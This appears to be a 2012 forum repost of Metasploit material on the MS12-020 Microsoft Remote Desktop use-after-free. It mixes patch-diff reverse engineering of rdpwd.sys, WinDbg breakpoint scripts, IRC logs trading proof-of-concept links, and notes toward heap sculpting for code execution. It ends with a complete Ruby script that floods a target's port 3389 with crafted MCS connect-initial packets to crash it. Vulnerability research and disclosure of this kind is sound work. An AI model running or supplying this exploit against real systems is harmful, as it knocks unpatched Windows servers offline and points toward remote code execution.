Nytro Posted March 20, 2012 Report Posted March 20, 2012 [h=1]MS12-002 Microsoft Remote Desktop Use-After-Free DoS[/h]This module exploits the MS12-002 RDP vulnerability originally discovered and reported by Luigi Auriemma. The flaw can be found in the way the T.125 ConnectMCSPDU packet is handled in the maxChannelIDs field, which will result an invalid pointer being used, therefore causing a denial-of-service condition.[h=1]Rank[/h] Normal[h=1]Authors[/h] Luigi Auriemma < >Daniel Godas-Lopez < >Alex Ionescu < >jduck < jduck [at] metasploit.com >#ms12-020 < >We start by diffing the rdpwd.sys binaries from XP SP3 for ms11-065 and ms11-020.http://technet.microsoft.com/en-us/security/bulletin/ms12-020http://support.microsoft.com/kb/2621440http://technet.microsoft.com/en-us/security/bulletin/ms11-065http://support.microsoft.com/kb/2570222http://zerodayinitiative.com/advisories/ZDI-12-044/http://aluigi.org/adv/termdd_1-adv.txtIntrestingly, both idbs had an anlysis mistake at 0x20010, though they were different parts of the code. Manual intervention fixed these and then there were no unmatched functions in bindiff. This was done by undefinng the code before and after the "sp analysis failed" error and then re-defining the defined function (noted by symbols existing) as a procedure.There are four changed functions between the two XP SP3 binaries: 1. HandleAttachUserReq(x,x,x,x) - 0.91 similarity 2. NM_Disconnect(x) - 0.93 similarity 3. NMAbortConnect(x) - 0.98 similarity 4. MCSChannelJoinRequest(x,x,x,x) - 0.99 similarityWhen making a regular connection via RDP, MCSChannelJoinRequest gets hit several times. Additionally, HandleAttachUserReq gets called once. the other two functions aren't called in this circumstance.On to the differences...NMAbortConnect==============This is the change (with total context included):--- ms11-065.c 2012-03-14 23:13:35.000000000 -0500+++ ms12-020.c 2012-03-14 23:13:56.000000000 -0500@@ -1,6 +1,9 @@ int __stdcall NMAbortConnect(int a1) { if ( *(_BYTE *)(a1 + 28) & 1 )+ { NMDetachUserReq(a1);+ *(_DWORD *)(a1 + 28) ^= 1u;+ } return SM_OnConnected(*(_DWORD *)a1, 0, 1, 0, 0); }This appears to ensure that some member of the a1 structure gets unset. At this point, the purpose of this flag is not clear.NM_Disconnect=============This is the change (with total context included):fear:0:~$ diff -C 20 -b ms11-065.c ms12-020.c*** ms11-065.c Wed Mar 14 23:16:14 2012--- ms12-020.c Wed Mar 14 23:16:21 2012****************** 1,9 ****--- 1,12 ---- signed int __stdcall NM_Disconnect(int a1) { signed int result; // eax@1 result = 1; if ( *(_BYTE *)(a1 + 28) & 1 )+ { result = NMDetachUserReq(a1);+ *(_DWORD *)(a1 + 28) ^= 1u;+ } return result; }Again, this seems to ensure that the flag is unset whenever NM_Disconnect is called.MCSChannelJoinRequest=====================This is the change (with total context included):fear:0:~$ diff -U 999 -b ms11-065.c ms12-020.c--- ms11-065.c 2012-03-14 23:18:49.000000000 -0500+++ ms12-020.c 2012-03-14 23:18:34.000000000 -0500@@ -1,91 +1,91 @@ signed int __stdcall MCSChannelJoinRequest(int a1, PVOID P, int a3, int a4) { int v4; // esi@1 unsigned int v5; // edi@1 PVOID v6; // ecx@2 unsigned int v8; // ecx@17 int v9; // eax@18 PVOID v10; // eax@22 char v12; // [sp+Ch] [bp-4h]@32 signed int v13; // [sp+18h] [bp+8h]@15 v4 = a1; v5 = (unsigned int)P; *(_BYTE *)a4 = 0; if ( !(unsigned __int8)SListGetByKey(*(_DWORD *)a1 + 48, v5, &P) ) { if ( v5 > 0x3E9 ) return 9; if ( *(_DWORD *)(*(_DWORD *)a1 + 48) > *(_DWORD *)(*(_DWORD *)a1 + 164) ) return 15; if ( v5 ) { v13 = 1; } else { v5 = GetNewDynamicChannel(*(_DWORD *)a1); if ( !v5 ) return 15; v13 = 3; } P = 0; v8 = 0; do { v9 = v8 + *(_DWORD *)v4; if ( !*(_BYTE *)(v9 + 425) ) { P = (PVOID)(v9 + 368); *(_BYTE *)(v9 + 425) = 1; } v8 += 64; } while ( v8 < 0x140 ); if ( !P ) { v10 = ExAllocatePoolWithTag(PagedPool, 0x40u, 0x636D5354u); P = v10; if ( !v10 ) return 11; *((_BYTE *)v10 + 56) = 0; } *((_DWORD *)P + 15) = v5; *((_DWORD *)P + 13) = v13; if ( (unsigned __int8)SListAppend(*(_DWORD *)v4 + 48, v5, P) ) { SListInit(P, 2); v6 = P; goto LABEL_32; } if ( *((_BYTE *)P + 56) ) *((_BYTE *)P + 57) = 0; else ExFreePoolWithTag(P, 0); return 11; } v6 = P; if ( *((_DWORD *)P + 13) == 1 ) goto LABEL_32; if ( *((_DWORD *)P + 13) == 2 ) {- if ( *((_DWORD *)P + 15) == v5 )+ if ( *((_DWORD *)P + 15) == *(_DWORD *)(a1 + 12) ) goto LABEL_32; return 16; } if ( *((_DWORD *)P + 13) != 3 ) { if ( *((_DWORD *)P + 13) == 4 ) return 1; return 11; } LABEL_32: if ( (unsigned __int8)SListGetByKey(v4 + 16, v6, &v12) ) return 21; if ( !(unsigned __int8)SListAppend(v4 + 16, P, P) || !(unsigned __int8)SListAppend(P, v4, v4) ) return 11; if ( *(_BYTE *)(*(_DWORD *)v4 + 16) & 0x20 ) *(_BYTE *)a4 = 1; *(_DWORD *)a3 = P; return 0; }Rather than check against v5, the function has been modified to check against the member a1+0xc.HandleAttachUserReq===================This is the change (with total context included):fear:0:~$ diff -U 999 -b ms11-065.c ms12-020.c--- ms11-065.c 2012-03-14 23:22:16.000000000 -0500+++ ms12-020.c 2012-03-14 23:23:49.000000000 -0500@@ -1,33 +1,40 @@ char __thiscall HandleAttachUserReq(int this, int a2, int a3) { int v3; // esi@1 int v4; // eax@3- int v6; // [sp-8h] [bp-18h]@3- char v7; // [sp+4h] [bp-Ch]@3- int v8; // [sp+8h] [bp-8h]@3- int v9; // [sp+Ch] [bp-4h]@2+ int v6; // [sp-4h] [bp-18h]@3+ char v7; // [sp+8h] [bp-Ch]@3+ int v8; // [sp+Ch] [bp-8h]@3+ int v9; // [sp+10h] [bp-4h]@2 v3 = this; *(_DWORD *)a3 = 1; if ( *(_BYTE *)(this + 16) & 0x20 ) { while ( IcaBufferAlloc(*(_DWORD *)v3, 0, 1, 11, 0, &v9) ) ; v4 = MCSAttachUserRequest(v3, 0, 0, 0, &v8, &v7, (char *)&a3 + 3); v6 = *(_DWORD *)(v9 + 16); if ( v4 ) { CreateAttachUserCon(14, 0, 0, v6); *(_DWORD *)(v9 + 20) = 9; } else { CreateAttachUserCon(0, 1, *(_DWORD *)(v8 + 12), v6); *(_DWORD *)(v9 + 20) = 11; *(_BYTE *)(v8 + 4) = 0; } if ( SendOutBuf(v3, v9) < 0 )+ { SListRemove(v3 + 112, v8, &v8);+ if ( v8 )+ {+ if ( !*(_BYTE *)(v8 + 5) )+ ExFreePoolWithTag((PVOID)v8, 0);+ }+ } } return 1; }The first thing that jumps out is that the stack layout has changed. In particular, v6 is now located 4 bytes later in the stack. This pushes everything else down too. This generally indicates the addition of a local variable, but no such variable was found in the new code. In fact, the reason for this is that the "ebx" register is now saved on the stack a bit earlier. This has no effect on the program's behavior.The second change is that was added is checking of the output parameter (v8) from SListRemove. Previously, the return value was ignored. If the return value is set, the new version will check a that the byte at offset 5 is zero. If so, it will free the returned pointer.This change isn't likely to be directly related to the vulnerability. They have sad the issue was an uninitialized memory or user-after-free type issue. Adding a free is not indicative of such an issue. This is more likely to be a memory consumption issue (memory leak). This could possibly be the DoS vuln as many have postulated.After reviewing the changes, it's clear that HandleAttachReq is not the issue. The other changes look much more like a potential use-after free could be caused. It is likely that triggering such a condition would require traversing a code path that does something with the flag value that is being reset.Using FreeRDP as referenced in the fake python POC also triggers the same two changed functions. It does not trigger them as many times.External links discovered by various people:Patch diffing http://exploitshop.wordpress.com/2012/03/13/ms12-020-vulnerabilities-in-remote-desktop-could-allow-remote-code-execution/ http://blog.binaryninjas.org/?p=58 https://twitter.com/#!/vessial/status/179839003720302592/photo/1/large http://ocean.inseclab.org/2012/03/15/ms12-020-part-1/PoC from china (unconfirmed, possible) http://www.forgeting.com/archives/601.html http://www.wooyun.org/bugs/wooyun-2010-05264 http://www.ybhacker.com/index.php/post-54.html - links to download of the fake exploit PoC from china (unconfirmed, plausible) http://cq-cser.cn/2012/03/2012-0002/ http://hi.baidu.com/wordexp/blog/item/83afd3ec575192ce2e2e2113.htmlPoC from china (confirmed fake) http://pastebin.com/jZt9gmD5 http://pastebin.com/fFWkezQH http://www.9170.org/post-421.html - these are probably fake, see: - http://downloads.securityfocus.com/vulnerabilities/exploits/31874.py - from: http://www.securityfocus.com/bid/31874FreeRDP related links https://github.com/FreeRDP/FreeRDP/blob/master/libfreerdp-core/mcs.c https://github.com/FreeRDP/FreeRDP/wiki/Reference-Documentation http://www.freerdp.com/api/connection_8c.html http://www.freerdp.com/api/structrdp__rdp.htmlMicrosoft Documentation Link http://msdn.microsoft.com/en-us/library/cc240469(v=prot.10).aspxBounty link (joke?) http://gun.io/open/48/metasploit-module-for-cve-2012-0023/15 - Working PoC found !11:36 < gabrielpato> download link: http://115.com/file/be27pff7This PoC has been confirmed to cause a blue screen on a patched to ms11-065 Windows XP SP3. The command line to try is: rdpclient.exe <host> -v 10The crash from http://cq-cser.cn/2012/03/2012-0002/ is likely related to this.The next steps are:1. Fully understand why the crash is occurring - Further decode in PoC @ http://pastie.org/private/feg8du0e9kfagng4rrg2. Determine methods for getting a crash reliably (currently the PoC doesn't always cause a crash)3. Craft an open source version of the trigger (instead of this binary rdpclient.exe)4. Determine mechanisms for sculpting heap memory to get controlbreakpoints============NOTE: These breakpoints are for the ms11-065 rdpwd.sys (5.1.2600.6128, md5: fc105dd312ed64eb66bff111e8ec6eac)Save the below script to "bp.wdbg" and run with:C:\windbg\x86\windbg.exe -b -k com:pipe,port=\\.\pipe\com_1,resets=0 -y c:\symbols -c $<C:\ms12-020\bps.wdbg============.reloadbp rdpwd+1b5d0 ".printf \"MCSChannelJoinRequest(0x%x, 0x%x, 0x%x, 0x%x)\\n\", poi(esp+4), poi(esp+8), poi(esp+c), poi(esp+10);g"bp rdpwd+1cb32 ".printf \"HandleAttachUserReq(0x%x, 0x%x, 0x%x, 0x%x)\\n\", poi(esp+4), poi(esp+8), poi(esp+c), poi(esp+10);g"bp rdpwd+51b0 ".printf \"NM_Disconnect(0x%x)\\n\", poi(esp+4);g"bp rdpwd+56cc ".printf \"NMAbortConnect(0x%x)\\n\", poi(esp+4);g"bp rdpwd+1c0ee ".printf \"SListRemove(0x%x, 0x%x, 0x%x)\\n\", poi(esp+4), poi(esp+8), poi(esp+c);g"bp rdpwd+1c0a2 ".printf \"SListAppend(0x%x, 0x%x, 0x%x)\\n\", poi(esp+4), poi(esp+8), poi(esp+c);g"bp rdpwd+1bfd8 ".printf \"SListDestroy(0x%x)\\n\", poi(esp+4);g"bp rdpwd+1c1bc ".printf \"SListGetByKey(0x%x, 0x%x, 0x%x)\\n\", poi(esp+4), poi(esp+8), poi(esp+c);g"bp rdpwd+1bfae ".printf \"SListInit(0x%x, 0x%x)\\n\", poi(esp+4), poi(esp+8);g"bp rdpwd+1c166 ".printf \"SListRemoveFirst(0x%x, 0x%x, 0x%x)\\n\", poi(esp+4), poi(esp+8), poi(esp+c);g"g============annotated output (thx alfredo): http://pastie.org/private/54eydgcmiklarqgp9ds9waLOL the leaked rar rdpclient.exe contains this:E:\Work\MSRC11678\fuzzer\rdpclient\Release\rdpclient.pdbTurns out the leaked exploit was based on Luigi's originally ZDI submission.myne-us released some info on ms11-06522:33 < myne-us> http://pastebin.com/rHHHPaFaSeveral more PoC's were released by myne-us, sleepya, and Alex Ionescu. These triggers reduce the amount of data needed to trigger the condition.01:53 < sleepya> http://pastebin.com/4FnaYYMz02:47 < wishi> http://pastebin.com/WYx9kRQ602:57 < Alex_Ionescu> http://bit.ly/ACp7nt03:29 < Alex_Ionescu> http://bit.ly/zhdtSM05:22 < Alex_Ionescu> http://bit.ly/waXLiA <= C exploitHalvar popped in and dropped knowledge on us.06:15 < halvar> my suggestion _NMAbortConnection->_SM_OnConnected->_SM_Disconnect->_NM_Disconnect06:15 < halvar> I have not time to look06:15 < halvar> but I'd bet money on this06:16 < halvar> the MS patch makes sure that _NMDetachUserReq can't be called twice on the same code path06:17 < halvar> _NMDetachUserReq calls _MCsDetachUserRequest calls _DetachUser, which iterates over a linked list of channels, calls their destructor, and frees them06:17 < halvar> or perhaps not destructor, but calls a pointer in them06:17 < halvar> if you manage to get the call into _NMDetachUserReq twice06:17 < halvar> you should be doing this twice06:17 < halvar> getting eip06:17 < halvar> (my official guess 06:17 < halvar> ok, gotta run, still sickAnother PoC released.10:29 < d1g1t4l> http://www.privatepaste.com/ffe875e04a10:29 < d1g1t4l> its mostly aionescu's POC but that triggers it 100% of the time for me10:29 < d1g1t4l> note the usleep after sending the buffer10:29 < d1g1t4l> if you kill the connection too early the memory corruption wont be reached10:30 < d1g1t4l> thats why alex's needs to be run in a loop, you need to get lucky with scheduling10:43 < f4gty4> just a heads up guys, d1g1t4l's PoC crashes my 2k3 box at RDPWD.sys while this PoC] pastebin.com/WYx9kRQ6 (topic) crashes at termdd.sys#!/usr/bin/env ruby## ms12-020 PoC attempt## NOTE: This was crafted based on a legit connection packet capture and reversing# a packet capture of the leaked MAPP PoC.## by Joshua J. Drake (jduck)#require 'socket'def send_tpkt(sd, data) sd.write(make_tpkt(data))enddef make_tpkt(data) [ 3, # version 0, # reserved 4 + data.length ].pack('CCn') + dataenddef make_x224(data) [ data.length ].pack('C') + dataenddef make_rdp(type, flags, data) [ type, flags, 4 + data.length ].pack('CCv') + dataendhost = ARGV.shiftsd = TCPSocket.new(host, 3389)pkts1 = []# craft connection requestrdp = make_rdp(1, 0, [ 0 ].pack('V'))x224_1 = make_x224([ 0xe0, # Connection request 0, # ?? 0, # SRC-REF 0 # Class : Class 0].pack('CnnC') + rdp)pkts1 << make_tpkt(x224_1)# craft connect-initialx224_2 = make_x224([ 0xf0, # Data / Class 0 0x80 # EOT: True / NR: 0].pack('CC'))# mcsCitarget_params = ""+ #"\x02\x01\x00"+ # maxChannelIds "\x02\x01\x22"+ # maxChannelIds "\x02\x01\x0a"+ # maxUserIds "\x02\x01\x00"+ # maxTokenIds "\x02\x01\x01"+ # numPriorities "\x02\x01\x00"+ # minThroughput "\x02\x01\x01"+ # maxHeight "\x02\x02\xff\xff"+ # maxMCSPDUSize "\x02\x01\x02" # protocolVersionmin_params = ""+ "\x02\x01\x01"+ # maxChannelIds "\x02\x01\x01"+ # maxUserIds "\x02\x01\x01"+ # maxTokenIds "\x02\x01\x01"+ # numPriorities "\x02\x01\x00"+ # minThroughput "\x02\x01\x01"+ # maxHeight "\x02\x02\x04\x20"+ # maxMCSPDUSize "\x02\x01\x02" # protocolVersionmax_params = ""+ "\x02\x02\xff\xff"+ # maxChannelIds "\x02\x02\xfc\x17"+ # maxUserIds "\x02\x02\xff\xff"+ # maxTokenIds "\x02\x01\x01"+ # numPriorities "\x02\x01\x00"+ # minThroughput "\x02\x01\x01"+ # maxHeight "\x02\x02\xff\xff"+ # maxMCSPDUSize "\x02\x01\x02" # protocolVersionuserdata = ""+ # gccCCrq "\x00\x05\x00\x14"+ "\x7c\x00\x01\x81\x2a\x00\x08\x00\x10\x00\x01\xc0\x00\x44\x75\x63"+"\x61\x81\x1c"+ # clientCoreData "\x01\xc0"+"\xd8\x00"+ # header (type, len) "\x04\x00"+"\x08\x00"+ # version "\x80\x02"+ # desktop width "\xe0\x01"+ # desktop height "\x01\xca"+ # color depth "\x03\xaa"+ # SASSequence "\x09\x04\x00\x00" + # keyboard layout "\xce\x0e\x00\x00" + # client build number # client name "\x48\x00\x4f\x00\x53\x00\x54\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x04\x00\x00\x00"+ # keyboard type "\x00\x00\x00\x00"+ # kbd subType "\x0c\x00\x00\x00"+ # kbd FuncKey # imeFileName "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x01\xca"+ # postBeta2ColorDepth "\x01\x00"+ # clientProductId "\x00\x00\x00\x00" + # serialNumber "\x10\x00"+ # highColorDepth "\x07\x00"+ # supportedColorDepths "\x01\x00"+ # earlyCapabilityFlags # clientDigProductId -poc has: "00000-000-0000000-00000" "\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x2d\x00\x30\x00\x30\x00"+ "\x30\x00\x2d\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00"+ "\x30\x00\x2d\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00"+ # connectionType "\x00"+ # pad1octet "\x00\x00\x00\x00"+ # serverSelectedProtocol "\x04\xc0\x0c\x00"+ # desktopPhysicalWidth "\x0d\x00\x00\x00"+ # desktopPhysicalHeight "\x00\x00\x00\x00"+ # reserved # clientSecurityData "\x02\xc0"+"\x0c\x00"+ # header (type, len) "\x1b\x00\x00\x00"+ # encryptionMethods "\x00\x00\x00\x00"+ # extEncryptionMethods # clientNetworkData "\x03\xc0"+"\x2c\x00"+ # header (type, len) "\x03\x00\x00\x00"+ # channel count! # channel 0 "rdpdr\x00\x00\x00"+ # name "\x00\x00\x80\x80"+ # options # channel 1 "cliprdr\x00"+ # name "\x00\x00\xa0\xc0"+ # options # channel 2 "rdpsnd\x00\x00"+ # name "\x00\x00\x00\xc0" # options # clientClusterData (not present) # clientMonitorData (not present)mcs_data = ""+ "\x04\x01\x01"+ # callingDomainSelector "\x04\x01\x01"+ # calledDomainSelector "\x01\x01\xff"+ # upwardFlag "\x30" + [ target_params.length ].pack('C') + target_params + "\x30" + [ min_params.length ].pack('C') + min_params + "\x30" + [ max_params.length ].pack('C') + max_params + # userData "\x04\x82" + [ userdata.length ].pack('n') + userdatamcs = "\x7f\x65\x82" + [ mcs_data.length ].pack('n') # connect-initial (0x65 / 101), lengthmcs << mcs_datapkts1 << make_tpkt(x224_2 + mcs)# send a special one?#pkts1 << make_tpkt(x224_2 + "\x04\x01\x00\x01\x00")# send more pkts! - based on poc8.times { pkts1 << make_tpkt(x224_2 + "\x28")}#pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xea")#pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xeb")#pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xec")#pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xed")#pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xee")pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xf0")#pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xf1")#pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xf2")#pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xf3")pkts1 << make_tpkt(x224_2 + "\x21\x80")bigpkt = pkts1.join('')20.times { |x| puts "[*] Sending #{x + 1} ..." sd.write(bigpkt) send_tpkt(sd, x224_2 + "\x2e\x00\x00\x01") #send_tpkt(sd, x224_2 + "\x2e\x00\x00\x02") #send_tpkt(sd, x224_2 + "\x2e\x00\x00\x03") #send_tpkt(sd, x224_2 + "\x2e\x00\x00\x04") # read connect-initial response buf = sd.recv(1500) # XXX: TODO: check response =) #puts buf}sd.close[h=1]References[/h] CVE-2012-0002MSB-MS12-020www.privatepaste.com :: Paste Not FoundPrivate Paste - PastiePrivate Paste - Pastiehttp://stratsec.blogspot.com.au/2012/03/ms12-020-vulnerability-for-breakfast....Microsoft Terminal Services Use After Free (MS12-020)[h=1]Development[/h] Source CodeHistorySursa: Metasploit :: Browse Exploit & Auxiliary Modules Quote